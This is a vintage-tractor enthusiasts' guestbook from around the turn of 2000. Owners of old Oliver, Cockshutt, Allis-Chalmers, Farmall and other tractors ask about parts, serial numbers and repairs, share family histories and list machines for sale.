ROCKY ROCHE wrote on Thursday, February 17, 2000 (PST):I BOUGHT MY FIRST TRACTOR 1-5-00. IT'S A 550 OLIVER WITH A 1510 FRONTEND LOADER. IT'S A1965 MODEL. IT HAS POWER STEERING,LIVE PTO ,LIVE LIFT 3 PT HITCH, EVEN THE CIGERRETT LIGHTER WORKS. 2605 HOURS, 90% ON ORIGNAL EQUIMPENT. SO FAR SHE HAS EARNED $3250.00 FOR ME IN SNOW REMOVAL AND LANDSCAPING, WITH 4 MORE JOBS TO DO. I WANTEDED SOMETHING THAT WOULD BE SIMILAR TO MY GRANDFATHERS 1962 FORD 2000 SUPER DEXTER THAT I GREW UP LEARNING ON, I HAD NO IDEA THAT THE SUPER 55 AND 550 WAS DESIGNED TO BE LIKE AND COMPETE WITH THE 8N AND 2000 SERIES I LOVED THE OLD FORDS BUT I'M HOOKED ON OLIVER FOEVER. CALL ME AT 1 704 735 0236 OR WRITE R ROCHE 1284 POND TRAIL ,LINCOLNTON, NC 28092.
bruce goss wrote on Monday, February 14, 2000 (PST):Does anyone have a drawing of what the 3pth lower pins and arms look like or an assembly for sale. My D15 II is #15001
Tim H. wrote on Monday, February 14, 2000 (PST): Do you think the 1066 holds its own compared to other tractors its size? I like them for just every-day farm use.
Bruce In OHIO wrote on Sunday, February 13, 2000 (PST):I have a770 gas nf and I use mine to make all of my hay for our horses with and it does agreat job but I would like to find a 880 diesel wide front,3pt hitch with a powerbooster also clamshell fenders ANYONE HAVING ONE FOR SALE PLEASE CALL ME [937]548-2236 THANK YOU.
Michael Bent wrote on Sunday, February 13, 2000 (PST):Hello from New Zealand. I have an HG60 standard tractor and an OC3 with a blade. The HG is undergoing an extensive rebuild like gearbox, final drive, new track bushes and pins refitted front idler hubs and so on. Nearly complete and looks quite exciting. OC3 is original but basically quite sound. Also have a 77B hay mower adapted to the "Ollys" and it works really well too. Ther is quite a strong and growing group of Oliver crawlers, mostly HGs and OC3s in the local vintage tractor and machinery club of 260 members. We mostly use them for plowing but occasionally shift a bit of dirt too. In fact we got "Men of Steel" days going for the crawlers and steel wheeled tractors and they are really popular. These Ollys are amazing in the bush and on the hills. Would be keen to hear from some of you chaps in the US of A so start writing please.
Lynn Z wrote on Saturday, February 12, 2000 (PST):I have a 420C five roller that was manufactured in about 1959 with a Holt front end loader. It was used in cleaning corrals for about fifteen years. Due to services on concrete the grousers are worn down to the nubs. We drug it out of the corral with tracks sliding and rebuilt the engine and turned the track pins. We installed a three point hitch and I have used it in landscaping my yard during the past ten years or so. It starts and runs great even in cold weather. I have rebuilt the track rollers, but it needs another set of left front idler support castings, as the shaft hole are badly worn and I cannot hold the idler shaft from turning with the front idler. Also it has a broken final drive hub which connects the large final drive sprocket to the track drive sprocket through a tapered spline shaft. The hub has broken away about a third of the splined hub area. It still operates, but the strength is questionable. One more thing; the steering clutches have a tendency to slip under heavy load even though I have replace the clutch discs. Is the any way to check or rebuild the pressure plate? Other than these few things, including some needed rebuilding work on the hydraulics, it is a great machine. Does anyone have a line on some parts? I will check this site occasionally for a reply. Thanks.
ROCKY ROCHE wrote on Saturday, February 12, 2000 (PST):HELLO, I'M PROUD TO BE THE NEW FATHER OF A TRULY OLD SWEETHEAT. I RECENTLY AQUIRED ONE OF THE OLIVER 550 GAS 44 HP TRACTORS WHICH SUPERSEEDED THE SUPER 55. SHE HAS A 1510 FRONTEND LOADER,3 PT HITCH,LIVE LIFT,LIVE PTO, AND POWER STEERING. SHE WAS BORN IN 1965, AND SOLD NEW FOR $4495.00 WITHOUT THE LOADER. SHE HAS 2608 HOURS, AND IS IN A-1 CONDITION. SHE IS NOW THE 2ND PRIDE OF THE FAMILY, THE FIRST IS OUR CAT TROUBLE. IF YOU HAVE ANY FUTHER INFORMATION ON THE 550 PLEASE SNAIL-MAIL at R ROCHE,1284 POND TRAIL LINCOLNTON,N.C.,28092
Thomas Ganzak wrote on Saturday, February 12, 2000 (PST):Greetings from Michigan, I recently purchased a Cockshutt 30, late 40's, need information in regards to a starting problem. Once tractor is running, it runs great, but has problem initially starting. It does not fire right away, have already changed points and tuned up. Any help would be appreciated. Thanks in advance.
Don wrote on Saturday, February 12, 2000 (PST):My uncle had a model 50 John Deere which he owned until he passed away I have just located the whereabouts of the tractor today I will probally be purchasing the tractor as it is for sale ,and I'm looking for one as well. It must be put back together though. Can anyone give me some history about the Model 50 In the John Deere line up which model did they replace ? ,Horsepower etc. Thanks. Don
Bob wrote on Saturday, February 12, 2000 (PST):Looking for parts for 273 cubic inch buda engine for an E5 coop tractor. I think that it is the same as a 50 cockshutt. Bob.
Jim Rizzi wrote on Thursday, February 10, 2000 (PST):I have an Oliver tractor that I believe to be a Super 55. The serial # is 60-965-519 and the Specification # is 35-00-52 Does anybody have any info regarding this tractor? Thanks
drew wrote on Wednesday, February 09, 2000 (PST):We have a black stripe with a cab. Bought it 4 years ago with a fresh overhaul. Best investment we ever made. Next to the H the best tractor IH made. Just turn up the fuel and watch the JD's hide in the grass as the Big Red goes rolling by.
Wade Raney wrote on Tuesday, February 08, 2000 (PST):I own a D-14 allis chalmers tractor and enjoy it very much. I have had this tractor for about 10 years and am interested in installing a front end loader. A loader was bought with the tracter and was suppost to have been on it at one time,but it must be missing some brackets.I have the hydrolic pump,shaft,etc..that runs off front of motor need manuels or pictures of loader on tractors. Any help appreciated.Any copying costs gladly paid back
Scott wrote on Monday, February 07, 2000 (PST):My wife bought me a 9N (#53523) 10 years ago and I am getting ready to restore it. I am quite picky when it comes to materials and wondered if anyone new of a very reputable parts supplier that carries new and used parts and also a quality engine complete rebuild kit. I am located in North Idaho if it matters. Thanks! Scott
Fred Howland wrote on Sunday, February 06, 2000 (PST):I have amdl U and may be int. in selling would any one know the value of it. the tractor is in good cond. runs well but needs paint .
Fred Howland wrote on Sunday, February 06, 2000 (PST):Greetings from New Brunswick Canada. I have a cockshutt mdl 35 in very good cond.I dont see mush info. on your listings value etc. I also have a 20 and a 30 in excellent cond welcome any enq. on any of these tractors.
Hans Nevelius (Sweden) wrote on Sunday, February 06, 2000 (PST):1952 my father bought one of the first Fordson Major Diesel traktor in Sweden.We used it into the sixties, a very reliable tractor.I still keep the extra heavy duty weights bolted to the rear weehls and some documents,how to act when the disel-engine in some fatal accidents should run backwards. With regards
blij wrote on Saturday, February 05, 2000 (PST):Ik ben opzoek naar een Ford Super Dextra om opteknappen
bernie wrote on Thursday, February 03, 2000 (PST):what is the value of this tractor
Bob Germain wrote on Thursday, February 03, 2000 (PST):My family bought a new TD35 in 1938, serial# 3707, which was used on our wheat farm in the rolling hills of Eastern Washington St. untill the `60s, at which time it was traded for a TD9. I remember Dad saying that he drove that TD35 for nearly 30 years. I do believe that the `35 was the first tractractor that I drove. I can remember trying to crank it when I was about 12, and there was just not enought of me to turn it over to get it to start. At one time the `35 and a TD9 did all the tractor work on 1,200 acres of wheat and dry peas, and that was without airconditioning. I still have a 1943 Model H that will get a paint job this summer.If anyone might know where I can find that old `35 please let me know?
Dean Glover wrote on Thursday, February 03, 2000 (PST):Hello, I have a 1949 Leader Model D that I am going to restore. Can anyone tell me where I can get engine parts for it,such as rings,bearings,gaskets and possibly oversize pistons? Thanks, Dean
Ron Smith wrote on Wednesday, February 02, 2000 (PST):a good friend of mine Fred Young of The Kentucky Headhunter asked me to locate used fenders for wd45, anyone help?
Dave Barker wrote on Wednesday, February 02, 2000 (PST):I have a VAO running that my dad bought new in 1947. When he got it, it had full fenders and branch shields. There was a hydraulic lift on it from the dealer but he had a much stronger one built at a local machine shop. The shields were removed when the orchard trees became less bushy. I m needing a left branch shield and I'm hoping to find one so I get it finished by August so we can use it for pictures for his 60th Wedding Anniversary. If you can help email or phone 1-250-499-2095 Thanks
Kurt Knudson wrote on Wednesday, February 02, 2000 (PST):looking for information about the D17 - does it have a live PTO? Power steering? Live hydralics? Low pressure high volume or high pressure low volume? More than one set of of hydralic couplings? Three point hitch? 12 volt system? Differential lock? Thanks for any information! email me at kknudson at ucar.edu
Ted Pawlak wrote on Wednesday, February 02, 2000 (PST):I am about to aquire a D15, just like the picture. I know little about tractors and this appears to have some sort of adjustable rear rims. is this for changing tire sizes?
Jeff Hellwig wrote on Tuesday, February 01, 2000 (PST):Dan Walsh I have a book that will tell you what year the super 55 is all we need is the serial #. the color of the grill is suppose to be yellow. The wheels, I have seen both, but I do not know which is original.
Ray Uson wrote on Tuesday, February 01, 2000 (PST):Recently bought a Oliver Super 55. It needs work with the transmission. The motor is good but needs a tune-up. It has a bucket up front and looks good. I don't know where to find parts for the transmission or to tune it up. There are some Olivers around the central Texas area, but can't find a source for parts.
Dave Blevins wrote on Monday, January 31, 2000 (PST):Have and old 550 wish to sell has a valve train problem otherwise solid tractor. has 81-070-519 and 45-00-28 on the plate do not know year or worth of tractor. I gave 3500 years ago but it is time to trade. Gas engine 4 cyl.
harry wrote on Monday, January 31, 2000 (PST): I have two 880's they run great and have plenty of power. I also have a 66 Row Crop,a 77 Row Crop, SC Case and a JD 4020 with loader. To Eric they work slow.
JIM BLAKE wrote on Sunday, January 30, 2000 (PST):I have acockshutt 30 gas with underdrive. It is one of the fastes tractors I,v seen. Good tractor to work with. I would like to know how to adjust pto clutch,mine drags and wont stop when disengaged . thouse of you looking for A 30 I saw A net add last week. Jim Cobb ,barton vt. 802 525 4032 I don`t wont to sell mine. Would like to try it in the tractor pull. Enjoy your tractors, I do. JB
JD_Scott wrote on Sunday, January 30, 2000 (PST):I have an IH Cub. It is yellow with a white gas tank and hood. The ID plate on the steering box is completely illegible. I've been told is a 1969. How else can I confirm its year? There are some casting numbers on the block if they will help. Are the numbers i.e. serial, model, etc. stamped on the data plate or painted on? I don't know if I should try to strip the old paint off the plate to look for numbers underneath.
Judd langworthy wrote on Sunday, January 30, 2000 (PST):My Father has a Oliver Hart-Parr 18-28 he picked up a few years back. It is his pride and joy come tractor pull time. He has never been beat while using his set of steel wheels pulling against other tractors in the same class.
Gene wrote on Sunday, January 30, 2000 (PST):To Jared; If you still have the WD45 with crack block would you be willing to sell the tractor? Look up Allis web pages and you can find engines and parts all over the country, I use to deal with CT in Des Moines Ia.1 888 828 3276
Fm wrote on Sunday, January 30, 2000 (PST):i beleive that the industrials had a diff. serial than others. post yours here and we will see. yours is probably jsut a standard tread, or an orchard(orchards are very rare..)
FM wrote on Sunday, January 30, 2000 (PST):Jim, where are they located? how much are you asking? Butch, I beg to differ. ever 70 I have ever seen, and all the books I have, had a 6 speed tranny with R1 and R2.
alan mark wrote on Sunday, January 30, 2000 (PST):I have one of these tractors ,unfortunately it needs fenders and a nose piece (complete with grilles).I can get the fenders ok, but the nose is a problem? It's a great little tractor though
jim lamb wrote on Sunday, January 30, 2000 (PST):I have a D17 i bought from a neighbor who bought it new i have the operator manual that came with the tractor new i use it to rake and bale with it is a great tractor. I am now process of completly restoring it.
Royce Carter wrote on Saturday, January 29, 2000 (PST):My Dad bought a 1950 Model "A" Avery similar to the one pictured in 1950. I used the tractor as a young farmer growing up in Tennessee, and we sold it when my Dad died in 1982. I moved to Indiana in the late 60's and a few months ago, became very interested in trying to find my Dad's old Avery. Luckily, I found it was bought by one of the neighbors in Tennessee, and still in fairly good condition, but short of TLC. The owner sold it to me and I'm now in the process of restoring it and need help finding sources for parts, gaskets, etc. I have the original manual with all part #'s etc. Any and all suggestions as to where to find parts would be gratefully appreciated.
Judy Sateren wrote on Saturday, January 29, 2000 (PST):My dad fixed up a "B" SN 28772, it has the electric start the for-runner of a three point hitch and walking narrow front wheels. Would like to know any information about this "B". Age,original-Assembly and selling locations.
Dan Walsh wrote on Friday, January 28, 2000 (PST):I recently bought an Oliver Super 55 diesel and would like to know the proper color scheme to repaint it. Its a 1955 (I think). Are the wheels to be red or green? The grill yellow or white? Any help would be appreciated. Thanks.
Gerry Oehler wrote on Friday, January 28, 2000 (PST):Love this MM site. Pics are great. I still have the M602 that my Grampa and Dad used as a main field tractor on the prairies. As a result of the economy, I no longer farm. I still have M602 and plan to restore it when I have some $. Would love to see any pics of an M602 if anyone has available. Again, love the site!!
TravisC.Jones wrote on Thursday, January 27, 2000 (PST):I aquired a FarmallB two years ago when I bought my place it was on it & the previuos said it went with the place. It had been sitting out in the weather & the exhaust stack,was broke off at the manifold. I had to pull the head off the engine because the motor was locked up. When I pulled the head I noticed the #3 cylinder had two inches of trash on top of it. So I cleaned up the trash as best I could with air & gas &, also had to clean up the #3 exhaust valve which had been open & let everthing in the #3 cylinder to begin with. I reinstalled the head & torqued nuts to 50pounds with old gasket although I dont recomend doing that. Bought 4 new spark plugs & set ignition wires & rebuilt the carb. Had to 2 new hoses for the radiator added water & gas & new oil.For about $35.00 & tried to start it up & to my suprise it started on the third try.I am using it now & aquiring every attachment I can find.Good Luck in your restorations everyone. If I can help anyone you can e-mail me at cole at axs4u.net
Leon Dupont wrote on Thursday, January 27, 2000 (PST):I have long been an owner of the Oliver OC-3 and 4 series Have several of each torn down for parts. Would be glad to give any info i have.
Bill wrote on Thursday, January 27, 2000 (PST):My mother-in-law gave me a '55 IH 300 Utility with instructions to make it run and look good again. Still early in the restoration (tearing it apart) process. Been trying to find websites with good assortment of parts for the 300 U's, but parts seem few and far between. Anybody know good websites or part sources?
W Pfennig wrote on Tuesday, January 25, 2000 (PST):This thing looks a lot like an Oliver 99. Does anyone know if they are "chasis identical" tractors ?
christopher clark wrote on Sunday, January 23, 2000 (PST):my 9 horsepower 59 lo-boy is smokin'!! with the new valve job($600)and rebuilt carb,she's good for another 40 years anyone wanna lock axles..??!
tim carr wrote on Sunday, January 23, 2000 (PST):i have a 770 with the under drive and it doesnt work consistantly i would like to get the parts to replace the under drive and do away with it.They shift easier with out that also. if any one knows of this parts available from a parts tractor please notify me. thank tim
mel wrote on Saturday, January 22, 2000 (PST):looking for decels for 1959 cockshut 540
r armstrong wrote on Saturday, January 22, 2000 (PST):thankyou for the head info. i was able to gat one in pretty good shape, now would some be able to help me with engine gasket set
Eric wrote on Saturday, January 22, 2000 (PST):I,m about to acquire a "dexta" 4 cyl. gas tractor - are they the gas version of the "super dexta" which I assume were all deisels or am I completely wrong?
mark duellman wrote on Saturday, January 22, 2000 (PST):i have a 39 ac b it was my families only tractor my grandfather worked very hard to get this tractor and i see it as my duty to fully restore this great machine to enshure it will be here for years to come iam looking for a breather cap the b is 60% finished any help in locating one would be very helpful thank you very much ps. the paint i used for this project is dehart paint co. out of louisville KY. there allis paint is great!!!!they even have the same color paint in a 12oz spray can is this neat or what? Iknow my paint i have been a union 118 painter for 19 years i hope this can help someome!!! tell them mark sent you.
LES H. wrote on Saturday, January 22, 2000 (PST): R ARMSTRONG for help with your head call MIDWEST CYLINDER HEAD at 1-800-873-8506. I HAD CRACKS ON MY S55 DIESEL AND THE GUYS FIXED ME RIGHT UP.
Leon Dupont wrote on Friday, January 21, 2000 (PST):I have an HG-42 parts machine,also 2 OC-3 for parts, 1 good hood and gas tank. Have 3 later model OC-4 that have the 3-cyl. Hercules engines. I can get parts for the IXB-3 Hercules engines which were in the OC-3.
Roy JAMES wrote on Friday, January 21, 2000 (PST):I also inherited an oc 3 oliver crawler from an uncle in Alberta It had been left out in the elements for a number of years . I manged to find another scrapped out unit with a good undercarrige so have since replaced tracks , rollers side frames , and front idlers , am now replacing the magneto with one i have built out of spare parts and then replace the ex valve and in take valve on # 4 cyl. This is a 4 cyl hercules gas engine with the oliver intake and exhaust manifold . have no manuals so am learning as i go . It is a 1942 model with a ware front loader attachment , If I can help with any questions please let me know . I reside in southern BRITISH COLUMBIA [ CRESTON ] .
Eddie wrote on Thursday, January 20, 2000 (PST):I got a WD with a tricycle frontend,gear reduction on the back wheels, a snap coupler,pto,and a home made 3ph.. the decals are gone but got the numbers off the block E10 U- 3019 40 2 OR it is E1D U-3019 40 2 can anyone help me to find out the year,HP,model off this tractor THANKS to all that reply Eddie eddieh at logantele.com or mrfixit_2000_7
Arno van Ansem ( the Netherlands ) wrote on Wednesday, January 19, 2000 (PST):We own three B-450's and 1 Super BWD6.The 4th B-450 4wd !!will be ready next year.All five are made in the UK,but are very similar with th W-4/W-6.I want to know if any of these models were imported in the US.I've got some pictures.So if anyone like to have them,I'll be pleased to send them.
r armstrong wrote on Tuesday, January 18, 2000 (PST):i just purchesed a 550 gas it needs a head any help in locating one would be appreciated
David Rieger wrote on Tuesday, January 18, 2000 (PST):I have an SC case 1951-52 year. I need to find a complete valve set and wet sleves with pistions can you help me locate these.
chuck benson wrote on Monday, January 17, 2000 (PST):looking for imformation on my old crawler it has a flat head 4 cyl gas eng 6 volt elec. and atc on the grill is it a allis chalmers? I think it has a wisconson eng. is this possible? any help would be great thanks.
Russell G. Clark wrote on Monday, January 17, 2000 (PST):I am curiouos in knowing if you would know the price and availability of a PTO clutch housing with engaging Hdwe. also brass bearing housing to engage PTO clutch with. Thank you
Tom wrote on Monday, January 17, 2000 (PST):I have a M H pony it is all there has a one row cult. but it is a lock up . make offer
Tom wrote on Monday, January 17, 2000 (PST):I have a M H pony I got in a trade it is all there and locked up make offer
David Ruozi, Sr. wrote on Monday, January 17, 2000 (PST):Hi, I have an oliver OC3-42, I guess its the as a HG you all reference to. Anyway the serial # is 7WH902. Do you Know what year it was manufactured from this #? It has a 5ft. blade and two buckets. It has a two way hydrulics and is a fine running machine, to bad they don't make'em anymore. Bye, D.R., Sr.
David Pine wrote on Sunday, January 16, 2000 (PST):I have farmed with a 1066, 966, and 4020 for years, I really liked the 1066, first diesel we bought...loved it..I need info on horsepower ratings for a 756, 856 etc. Any help would be appreciated..
Russ Ferretto wrote on Sunday, January 16, 2000 (PST):Iam Interested In geting a cockshutt 30. If you maybe able to help me please E-mail me. Iam in Reno,NV. Thank you. Russ.
Tom wrote on Sunday, January 16, 2000 (PST):I have nice CA to sell or trade . I am looking for a D 10 or a D12 501 474 8173
Tracy Bodily wrote on Saturday, January 15, 2000 (PST):I have a 770 diesel and a 77 row crop, I will get the serial # & see if someone can help me find the model year. We live on a dairy farm & operate several tractors,the oldest being our Olivers, both were purchased by my father & grandfather. The 770 does its chores daily & we put a clutch in about every two years, recently we replaced the two speed clutches,it came standard w/ wide front end which i replaced w/ a narrow front about six years ago as it was completly wore out,this machine does not owe us anything to say the least, our 77 row crop has an f11 loader w/narrow front end and still runs great, we use it once in a while. These two machines are what i was raised on in my younger years & i will see that they get restored in the near future.I enjoy reading all the stories of these great machines, as i understand they were one of the first to have live pto & hydraulics .
Tom wrote on Saturday, January 15, 2000 (PST):I have model C for sall it has a Woods belly mower on it and everthing works I am asking $1000 for it or trade for some thing 501-474-8173 Tom
Tony procopio wrote on Saturday, January 15, 2000 (PST): I have recently restored a 35 f-12 and am in need of a pair of brake covers.If anyone has any, please write back.
S.Campbell wrote on Friday, January 14, 2000 (PST):My Father needs some information on a Allis Chalmers HD4 any help would be greatly appreciated. Thank you
Jim Radley wrote on Friday, January 14, 2000 (PST): I'm trying to locate the Farmall "M" that my Dad bought new in 1945 and I grew up with. It's a wide front, s/n FBK92932. It was last known to be somewhere in Lewis or Oneida county, New York in the mid 1960's. We have no record of it after that time. I would greatly appreciate any information on this tractor. I would like to purchase it in any condition to restore in memory of my Dad.
L George wrote on Friday, January 14, 2000 (PST):I have an N series with a flat head ford cyl industrial engine (I think it's 226cid0. My Grandmother purchased it from the original owner around 1970. I use it alot for mowing and I'm in need of a new/rebuilt carburetor as well as some other parts. Where can I locate a carburetor?
greg moch wrote on Thursday, January 13, 2000 (PST):to mike shutt for engine parts and other items try central plains tractor parts out of sioux falls sd ph # 800-234-1968 they have a web sight-www.centralplains.com i did engine overhaul on my '40 A and all went well. they are a pretty good company frommy experience.
GREG MOCH wrote on Thursday, January 13, 2000 (PST):REPLY FOR PAUL'S ? ON JAN 5, 2000 THE LIGHT SWITCH POSITIONS YOU ASKED ABOUT ARE FOR A LOW CHARGE AT FULL COUNTER CLOCK WISE POSITION. THE NEXT POSITION IS FOR A HIGH CHARGE RATE- IF BATTERY IS LOW ETC. THE OTHER 2 POSITIONS ARE FOR LOW & BRIGHT LIGHTS--THE LIGHTS ON POSITIONS ATOMATICALLY PUT GENERATOR IN HIGH CHARGE. AS FAR AS YOUR ADJUSTABLE FRONT AXLE-TRY TO TURN THE INNER TUBE BACK AND FORTH TO HELP LOOSEN IT. I HAVE A '40 A AND FREED THE FRONT END THAT WAY. I THEM TOOK THE INNER TUBE OUT AND CLEANED THE SURFACES AND LUBED THEM AND THEN REASSEMBLED. BE SURE TO INSTALL THE PINS 1ST THEN TIGHTEN CLAMPS EVENLY, GET THEM TIGHT SO THEY HOLD! GOOD LUCK!!
Roy Wilmoth Jr.(Butch) wrote on Thursday, January 13, 2000 (PST):If there is anyone in the panhandle of Nebraska,(I live in Chappell)that has a cockshutt or CoopE3 regardless of condition that would be interested in selling or trading,I would be very interested.I know very little about tractors but have rebuilt several old auto's.I recently saw my first Cockshutt and now I would really like to try a hand at bringing one back to life.I would enjoy any tractor in that time frame but the Cockshutt is my 1st.choice.I will answer any corrspondence i recieve,Thank you neighbors.
Keith A. McClure wrote on Thursday, January 13, 2000 (PST):I have all the decals and manuals for the Cockshutt & Coop tractors. The Cockshutt 30 was the first tractor with the famous live-power-take-off. I think the Cockshutt 40/E4 was the best tractor they built. I love talkin' Cockshutt. I also sell the new Cockshutt book as well as others.12331 CR 316, Big Prairie,Ohio 44611.
Keith A. McClure wrote on Thursday, January 13, 2000 (PST):If you need info or decals or manuals(original & reprints) please contact me for a complete list. I have 6 Cockshutt & Coop tractors, 20 deluxe, 30LPG, Coop E4 (single front wheel),Black Hawk 50 wheatland, 40 with 454 BBC, and a 30 with a 331 Hemi. 12331 CR 316 Big Prairie, Ohio 44611.
big man cockshutt wrote on Thursday, January 13, 2000 (PST):tractor looks nice but does not have red nosestrip, yellow wheelweights or yellow front hubs.
Max Mayo wrote on Wednesday, January 12, 2000 (PST):I own a Farmall 130. I'm finding it difficult to find any information or parts for this model. I'm looking for the warning/information decals and the chrome "farmall" for the side of the hood. Any information is greatly appreciated. FYI, I am located in Bow NH.
Tracy Stanko wrote on Wednesday, January 12, 2000 (PST):This 1066 is a really nice looking one.
Jason Stiehl wrote on Tuesday, January 11, 2000 (PST):I like 10's alot and have ran tons of IH's and have come to like the 1466'es the best.
Mike Daniel wrote on Tuesday, January 11, 2000 (PST):My maternal grandfather owned two 55's on LPG. He farmed rice in the Katy, TX for 60 years. He had a quirk about purchasing tractors, he always purchased in pairs and spread his business between the Case, IH and MH dealers. But he never owned any combines other than IH. My dad farmed with JD and his dad with MM.
Penny wrote on Tuesday, January 11, 2000 (PST):This is in response to the question from Don Goes on August 24th, regarding a whine in the rear end of a 770. If you have a torque it takes motor oil 15-40W. If you don't, it takes 90W oil. The Old Olivers have a bit of a whine anyway, don't worry about it.
Pete K. wrote on Tuesday, January 11, 2000 (PST):I have owned my Oliver 550 for 10 years now and it is starting to need some lil things.Would love to find another 550 to purchase for parts.
Wayne Ericksen wrote on Tuesday, January 11, 2000 (PST):Am looking for a MM Moline Model U in good shape - can you help me
Davis Farms wrote on Monday, January 10, 2000 (PST): On my farm in Tarboro N.C. I have two 1066's and three 1086' they are used everyday in my 2000 acre cotton farm. They are very reliable and will out pull any JD around.
Dale Hatch wrote on Monday, January 10, 2000 (PST):Interested in buying a WF or D-15/D-17 "Orchard Model" AC if anyone can direct me to an owner willing to sell please e-mail me. Also looking for a Ferguson side mount baler, few exist and have't been able to locate one.
Frans Hattingh wrote on Monday, January 10, 2000 (PST):My father own a Fordson Major whichs runs on kerosene. It has in running condition since God knows when and it still in frequent use. It is still stock standard (Orange cast wheels the works) although the electrics had to be replaced. But I need to find,as all the others above, the owners manualy for it. Please tell me where to find that
Robbie Gane wrote on Sunday, January 09, 2000 (PST):My family have a 1917 Avery tractor located in New Zealand, in original going order. This tractor is for sale, any genuine enquiries welcome.
Larry Entenman wrote on Sunday, January 09, 2000 (PST):I have a 46 John Deere B serial # 199797 I am looking for a flywheel cover ring need price condition and location.
Chad Prissel wrote on Sunday, January 09, 2000 (PST):The Super 44's are a very sharp looking tractor. The 440's are also a nice tractor. I would be very interested in purchasing one. Feel free to contact me about your experiences or of any info of one that I may be able to purchase for my collection.
J.R. BENNETT wrote on Sunday, January 09, 2000 (PST): After finding the D17 picture, I just had to write and put my two cents in...we have one D17, two D19's and one 190. My wife used to never want to drive the D17, but she loved the 190. After getting her to bail hay with a D17, she perfers it over any of the others. We have three kids, and all three children love to drive the 190. But I have to say my farvorite is the D19. If anyone can help me locate a sickle drive gearbox for a Model 904 AC conditioner I sure would appreciate it. Thanks. E-Mail me at BENNETTCLAN at WEBTV.NET
richard wrote on Sunday, January 09, 2000 (PST):Will someone please e-mail me specs or pics of any W4 McCormick tractors. I have a 1951 and any information related to that year would be great. Also,I'll be glad to provide you with any information that I might have too. Thanks, richard
Gene Webber wrote on Sunday, January 09, 2000 (PST):I have an OC3 with Oliver loader and am working on restoration. The engine has been rebuilt and now the govenor is not working right. I would like comments from any one with info. or parts for this machine, or one to look at any where near N.H.
Michel C. wrote on Sunday, January 09, 2000 (PST):I`m looking for a Vickers hydraulic pump part# v120 35 21b-10-s118
John Morey wrote on Saturday, January 08, 2000 (PST):My Dad just recently(12/31/99)finished restoring a 1952 Model F-Cub.He needs the original decals for it.Our local IH. dealer can only get after-market decals.Also,if anyone has spare carberator parts available, let me know!
BRAD AUSTIN wrote on Friday, January 07, 2000 (PST):I am in the process of restoring one of these tractors. I would be interested in getting some more fotos and any other related info. It seems that every body knows about the super 99 GM's, but information on the 99 is not easily available.
Henry wrote on Friday, January 07, 2000 (PST):I recently purchased a 1945 VAI from my father-in-law. He bought the tractor in 1975 and used it to run an orchard sprayer and "buzzsaw". He ran the buzzsaw first with the belt and later with the PTO. I got the gear driven belt sheave with the tractor, it appears to have a hydraulic pump behind the sheave, is this correct. I would like to be able to use a mower and a rear blade with it, but alas, no 3-point hitch. Is there a 3-point set-up that anyone knows of? I just ordered manuals (parts, operators, service) from my local Case dealer. It seems that they can still get a lot of parts. Any info that can be provided me on the VAI would be greatly appreciated.
G Ball wrote on Friday, January 07, 2000 (PST):Own a Super 44, 1957, got it from my Father. Looked more like a John Deere at that time, but am proud to say it looks rather like the picture posted at this time. Runs good, has a belly mower, use it every summer, good tractor.
Roy wrote on Friday, January 07, 2000 (PST):Where could I get one of the 50's to restore and use on 40 acres in the middle of the mitten of Michigan? I love the sound of a Cockshutt.
John Sweatt wrote on Thursday, January 06, 2000 (PST):I am currantly in the process of restoring a F30, year unknown, but it has rear steal wheels, front rubber. Are these tractors worth anything? Why is there not much information about them anywhere,and are they rare?
Paul wrote on Wednesday, January 05, 2000 (PST):I have a '45 "A" in decent shape. It has the lights option and the adjustable-width front-end. I recently re-wired it and everything electrical works fine. When I turn the lights switch fully counter-clockwise, the ammeter reads "0", as if it isn't charging. But if I turn the switch one notch clockwise, no lights go on but the ammeter reads a charge. Is this normal operation? Also, the adjustable front-end seems to be stuck. I removed the pins and loosened the breckets, but I can't get it to move. I'm afraid to bang too hard in the wrong place to free it up. Any suggestions?
Mike Zeman wrote on Wednesday, January 05, 2000 (PST):I own a massey ferguson 98 and holey shet that thing rips it up! I just need and engine for it.
Adam Huhn wrote on Wednesday, January 05, 2000 (PST):Through the many actions literature and other sources of information I learned that 775 of the oliver super 44 were built and 750 of the oliver 440 were built and when restored can bring up to 6500 in the michigan area
george mesa wrote on Monday, January 03, 2000 (PST):FOR SALE, 48 J/D M experiemental model needs tires,runs great engine has been rebuilt, 0 hrs $5000.00 located in san diego, ca. (619)670-4101
Mike Meyers wrote on Monday, January 03, 2000 (PST):Have a G with rod knock are bearings still available for these? Good parts sources would be appreciated.
john hoover wrote on Sunday, January 02, 2000 (PST): The 720 diesel has got to be one of the best row crop tractors of all time! If you don't think so give one a try. I have had the privilage of growing up on a farm in the 70's and 80's with a late '58 720D row crop. This tractor is a wide front, pony start work horse. My 720's flywheel came loose in about '93 and my dad left it parked for several years. In '97 my dad told me that if I could get the tractor running I could have it. The 720 was soon hauled across the state to my small farm where I now live. I installed a taper-lock flywheel and rewired the tractor to get it to run. But, as they say that is only part of the story I could talk about this tractor for hours. I dont know why the pony engines always seem to get a bad rap, my pony engine works good and it is still on six volts. I guess there aren't many people out there who love to here a two cylinder Deere started with the little pony ; but I sure do. Most people of my generation have never heard a 720D pulling a one-way sunk to the spools or turning a mixer-mill but boy, have they missed out. All the green blooded boys from where I come from will tell you that a two cylinder diesel says dawnk-dawnk-dawnk not pop-pop-pop like the gassers do. Thanks for the great picture and website.
Greg Locklear wrote on Sunday, January 02, 2000 (PST):I am in AL and would like to find a WC old as possiable that needs restoring, wide front end. Can anyone help?
Lee Smith wrote on Sunday, January 02, 2000 (PST):Anybody know where a guy can find a block for a 1950 farmall c ? At a fair price of course...
Billy Yeargin wrote on Saturday, January 01, 2000 (PST):I am looking for a LA Case, without the round gas tank on rear of hood. Any information on location and price would be appreciated Billy Yeargin
Kenny Christopherson wrote on Thursday, December 30, 1999 (PST):I have a Farmall M with a Farmhand loader,it is a trip bucket.My grandpa got this tractor for free around 1981,it was in a bad storm and the muffler got knocked off by a fallen tree,and a bunch of water got into the engine and froze it solid.All my granpa did was pour some Kerosene into the engine and it started up and ran like a top.He died in 1993.I am 13 and this tractor is one of three I own.I was wondering if anyone could help me get it running right,it boggs out,and sometimes it is stuck at a high throttle position.Will i need to take of the carb,or the cylinder heads?
John wrote on Wednesday, December 29, 1999 (PST):I'm looking at buying a Ford Super Dexta but don't know a lot about this model. Can you give me some information regarding price range (this model seems to be in good working order), horse power (3 cyl. diesel main and pto), any pros or cons to purchasing this model as a working tractor? Also, it seems to be leaking oil just behind the engine. Is this normal for this tractor? Thanks John
